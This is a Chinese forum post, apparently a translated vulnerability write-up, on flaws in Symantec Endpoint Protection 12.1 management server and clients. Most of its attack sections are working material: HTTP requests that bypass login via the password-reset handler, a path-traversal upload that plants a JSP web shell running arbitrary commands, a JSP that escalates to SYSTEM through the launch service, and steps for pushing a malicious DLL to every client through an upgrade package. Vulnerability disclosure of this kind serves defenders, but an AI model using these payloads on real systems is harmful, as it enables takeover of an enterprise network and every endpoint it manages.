馬上注冊,結交更多好友,享用更多功能。
您需要 登錄 才可以下載或查看,沒(méi)有帳號?注冊
x
1.引言
Markus Wulftange在7月30日報告了賽門(mén)鐵克端點(diǎn)保護Symantec Endpoint Protection (SEP) 12.1的數個(gè)高危漏洞。只有升級到12.1 RU6 MP1的版本不被影響。
簡(jiǎn)單介紹一下,SEP 是一個(gè)企業(yè)版的殺毒產(chǎn)品,分為管理端和客戶(hù)端。管理端是提供web UI,允許管理員管理和察看客戶(hù)端的狀態(tài)和客戶(hù)端的病毒感染事件等等。而客戶(hù)端基本上就是一個(gè)普通的賽門(mén)鐵克殺毒軟件,但是接受管理端的管理并且定時(shí)上報自己的狀態(tài)。值得一提的是,管理員還可以在管理端部署安裝升級包,以便客戶(hù)端通過(guò)管理端來(lái)進(jìn)行升級。
這種架構的問(wèn)題是,一旦攻擊者拿下了管理端,得到了管理員的權限,那么他就可以重新部署安裝升級包,把木馬藏進(jìn)安裝包,推送至客戶(hù)端執行,從而拿下整個(gè)企業(yè)網(wǎng)絡(luò )。
本文重點(diǎn)介紹這幾個(gè)漏洞和利用方法:攻擊者最終可以在管理端和所有客戶(hù)端得到 'NT Authority\SYSTEM' 的權限。
2.攻擊SEP管理端
攻擊以SEP管理端的登陸頁(yè)面為突破口,因為登陸頁(yè)面是暴露在最外層的接口。
!small
2.1 CVE-2015-1486: 繞過(guò)SEP管理端登陸認證
當用戶(hù)認證以后,setAdminCredential()把用戶(hù)信息存在與當前session相關(guān)的AdminCredential對象中。而閱讀源代碼后發(fā)現,setAdminCredential()在兩個(gè)地方被調用,一個(gè)在LoginHandler類(lèi)里面,一個(gè)在ResetPasswordHandler類(lèi)里面。奇怪的是,setAdminCredential()為什么會(huì )在ResetPasswordHandler類(lèi)里面被調用呢?看起來(lái)很可疑,這個(gè)值得我們研究一下。從名稱(chēng)上看,ResetPasswordHandler類(lèi)用來(lái)處理口令重置,其中handleRequest()方法的代碼如下
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/* */ {
/* 72 */ this.requestData = requestData;
/* 73 */ String userName = (String)requestData.get("UserID");
/* 74 */ String domainName = (String)requestData.get("Domain");
/* */
/* 76 */ NodeList list = doc.getElementsByTagName("Response");
/* 77 */ Element root = (Element)list.item(0);
/* */ try
/* */ {
/* 80 */ if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {
/* 81 */ throw new ServerException(-2130182144, 186);
/* */ }
/* */
/* 84 */ checkIfSiteCanRecoverPasswords();
/* 85 */ init();
/* */
/* 87 */ if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {
/* 88 */ ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");
/* 89 */ throw new ServerException(-2130182144, 179);
/* */ }
/* */
/* 92 */ AdminCredential credential = getCredential(requestData, session);
/* */
/* 94 */ if ((credential != null) && (credential.getAdminID() != null)) {
/* 95 */ Integer mode = credential.getOptAuthenticationMethod();
/* 96 */ if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {
/* 97 */ ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");
/* */
/* 100 */ throw new ServerException(-2130182144, 191);
/* */ }
/* */
/* */ }
/* */
/* 106-137 skipped */
/* */
/* */ }
/* */ catch (ServerException e) {
/* 142 */ root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));
/* */ }
/* */ }
92行調用了getCredential()方法,用以取出AdminCredential對象。AdminCredential對象包含用戶(hù)的信息,比如用戶(hù)名,郵箱地址,口令hash值等等。以下是getCredential()的代碼
/* */ protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException
/* */ {
/* 367 */ session = session.getNewSession();
/* 368 */ AdminCredential credential = doGetAdminCredentialWithoutAuthentication();
/* 369 */ session.setAdminCredential(credential);
/* 370 */ return credential;
/* */ }
367行創(chuàng )建了一個(gè)新的session,也就產(chǎn)生了一個(gè)新的JsessionID cookie。有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()無(wú)需任何認證就根據用戶(hù)輸入的用戶(hù)名和域名得到了一個(gè)AdminCredential對象。
最后,在369行,這個(gè)AdminCredential對象和新創(chuàng )建的session關(guān)聯(lián)起來(lái)。使得該session成為了一個(gè)擁有SEP管理員權限的session.也就是說(shuō),發(fā)出一個(gè)口令重設請求,你就得到了一個(gè)擁有SEP管理員權限的session.
發(fā)一個(gè)POST請求驗證一下
POST /servlet/ConsoleServlet HTTP/1.1
Host: 192.168.40.133:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
ActionType=ResetPassword&UserID=admin&Domain=
得到
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/xml;charset=UTF-8
Date: Tue, 30 Jun 2015 11:19:30 GMT
Server: SEPM
Content-Length: 971
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Response ResponseCode="-2130181964">
<ReportingElement><?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/>
</ReportingElement>
</Response>
這個(gè)HTTP響應包含了一個(gè)JSESSIONID cookie,用于關(guān)聯(lián)新創(chuàng )建的管理員session。注意,雖然有管理員權限,但是由于某些限制,這個(gè)session還是無(wú)法用于直接登陸管理端。然而測試發(fā)現攻擊者可以用這個(gè)session使用其他web API,比如,創(chuàng )建一個(gè)新的管理員賬號。從而攻擊者可以用這個(gè)新創(chuàng )建的賬號登陸管理端。而且這個(gè)session還可以繼續用于下一個(gè)漏洞。
2.2 CVE-2015-1487: 任意文件寫(xiě)入
UploadPackage允許管理員把客戶(hù)端的安裝包上傳到管理端,以便客戶(hù)端升級維護。 然而這里有一個(gè)任意文件寫(xiě)入的漏洞,看源代碼
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/* */ {
/* 54 */ NodeList list = doc.getElementsByTagName("Response");
/* 55 */ Element root = (Element)list.item(0);
/* 56 */ String action = (String)requestData.get("Action");
/* 57 */ String id = (String)requestData.get("GUID");
/* 58 */ String fileType = (String)requestData.get("FILE_TYPE");
/* 59 */ String newId = (String)requestData.get("NEW_GUID");
/* */
/* 60-187 skipped */
/* */
/* 189 */ if (action.equalsIgnoreCase("UploadPackage")) {
/* 190 */ String fileName = (String)requestData.get("PackageFile");
/* 191 */ String dirName = (String)requestData.get("KnownHosts");
/* */
/* 193 */ this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);
/* */
/* */
/* 196 */ if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {
/* 197 */ this.packageTempPath = (this.packageTempPath + File.separator + dirName);
/* */ }
/* 199 */ String path = this.packageTempPath + File.separator + fileName;
/* 200 */ FileOutputStream fos = null;
/* 201 */ BufferedOutputStream bos = null;
/* 202 */ Object is = null;
/* 203 */ BufferedInputStream bis = null;
/* */
/* 205 */ File folder = new File(this.packageTempPath);
/* 206 */ if (!folder.exists()) {
/* 207 */ if (!folder.mkdirs()) {
/* 208 */ root.setAttribute("ResponseCode", String.valueOf(303169573));
/* */ }
/* */ }
/* */ else {
/* */ try
/* */ {
/* 214 */ Utility.emptyDir(folder.getCanonicalPath(), false);
/* */ } catch (IOException e) {
/* 216 */ ServerLogger.log(this, e);
/* 217 */ root.setAttribute("ResponseCode", String.valueOf(303169573));
/* */
/* 219 */ return;
/* */ }
/* */ }
/* */
/* 223 */ byte[] buf = new byte[1024];
/* 224 */ int read = 0;
/* */ try
/* */ {
/* 227 */ is = new BufferedInputStream(requestData.getInputStream());
/* 228 */ fos = new FileOutputStream(path);
/* 229 */ bos = new BufferedOutputStream(fos);
/* 230 */ bis = new BufferedInputStream((InputStream)is);
/* 231 */ while ((read = bis.read(buf)) > 0) {
/* 232 */ bos.write(buf, 0, read);
/* */ }
/* 234 */ bos.flush();
/* 235 */ root.setAttribute("ResponseCode", String.valueOf(0));
/* */ } catch (IOException ex) {
/* 237 */ ServerLogger.log(this, ex);
/* 238 */ root.setAttribute("ResponseCode", String.valueOf(303169573));
/* */ }
/* */ finally
/* */ {
/* 242 */ IOUtilities.closeInputStream((InputStream)is);
/* 243 */ IOUtilities.closeInputStream(bis);
/* 244 */ IOUtilities.closeOutputStream(fos);
/* 245 */ IOUtilities.closeOutputStream(bos);
/* */ }
/* */
/* 247-328 skipped */
/* */
/* */ }
/* */ }
注意189行到191行,上傳文件時(shí),文件名和文件目標路徑分別取值于PackageFile和KnownHosts屬性。
196行,這里有個(gè)檢查,目標路徑禁止包含'/' and ’\\’,可惜的是,檢查過(guò)以后,199行又把文件名和目標路徑組裝在了一起。那么,如果我們把目標路徑寫(xiě)在文件名里面,就可以繞過(guò)檢查。
POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1
Host: 192.168.40.133:8443
Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40
Content-Length: 124
<%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%>
這樣,我們就可以得到一個(gè) 'NT Service\semsrv'的權限的cmd.
2.3 CVE-2015-1489: SEP管理端主機提權
在SEP管理端, 有一個(gè)名為SemLaunchSvc.exe的服務(wù)。該服務(wù)有'NT Authority\SYSTEM'權限,用來(lái)處理一些需要高權限的操作,比如實(shí)時(shí)升級等。這個(gè)服務(wù)監聽(tīng)本地8447端口與管理端程序通信。而管理端用一個(gè)名為SemLaunchService的類(lèi)來(lái)實(shí)現和SemLaunchSvc.exe通信。該類(lèi)支持CommonCMD,可以打開(kāi)一個(gè)cmd。
既然我們已經(jīng)可以上傳并執行任意java代碼,那么我們可以進(jìn)一步調用SemLaunchService中的CommonCMD, 從而得到管理端主機的 'NT Authority\SYSTEM' 權限。
<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%
try {
out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd"))));
} catch (Exception e) {
}
%>
3. 攻擊SEP客戶(hù)端
3.1 CVE-2015-1492:SEP 客戶(hù)端二進(jìn)制植入
一旦有了管理端的權限,攻擊者就可以在管理端添加一個(gè)修改過(guò)的客戶(hù)端升級安裝包,然后通過(guò)管理端把偽裝的安裝包推送到客戶(hù)端上并執行。當然這里還要用到一個(gè)DLL劫持漏洞。這個(gè)漏洞劫持或者替換正常的DLL,欺騙正常程序加載攻擊者預先準備好的惡意DLL。
安裝升級SEP客戶(hù)端的時(shí)候,SEP客戶(hù)端ccSvcHst.exe首先會(huì )打開(kāi)安裝包,在里面找到一個(gè)名為smcinst.exe的程序,并且啟動(dòng)之,而smcinst.exe會(huì )調用一些系統DLL, 比如說(shuō)UxTheme.dll。這里很可能smcinst.exe使用了相對路徑來(lái)調入DLL, 并且沒(méi)有檢查DLL的簽名。這樣攻擊者只要在安裝包里加入一個(gè)偽造的UxTheme.dll就可以啦!由于LoadLibrary的特性,同在安裝包下的這個(gè)偽造的UxTheme.dll會(huì )優(yōu)先被調入。而一旦被調入,這個(gè)偽造的UxTheme.dll可以擁有NT Authority\SYSTEM權限。
那怎么把偽造的dll文件加到安裝包里面,并推送到客戶(hù)端呢?
1. 在SEP管理端導出安裝包
2. 修改該安裝包的版本為更高版本,比如12.2.0000,把準備好的惡意UxTheme.dll文件拷入安裝包
3. 在SEP管理端導入安裝包并修改升級選項。
4. 總結
管理端的保護是眾中之重,一旦管理端被突破,客戶(hù)端則難保,從而整個(gè)企業(yè)網(wǎng)絡(luò )淪陷。
|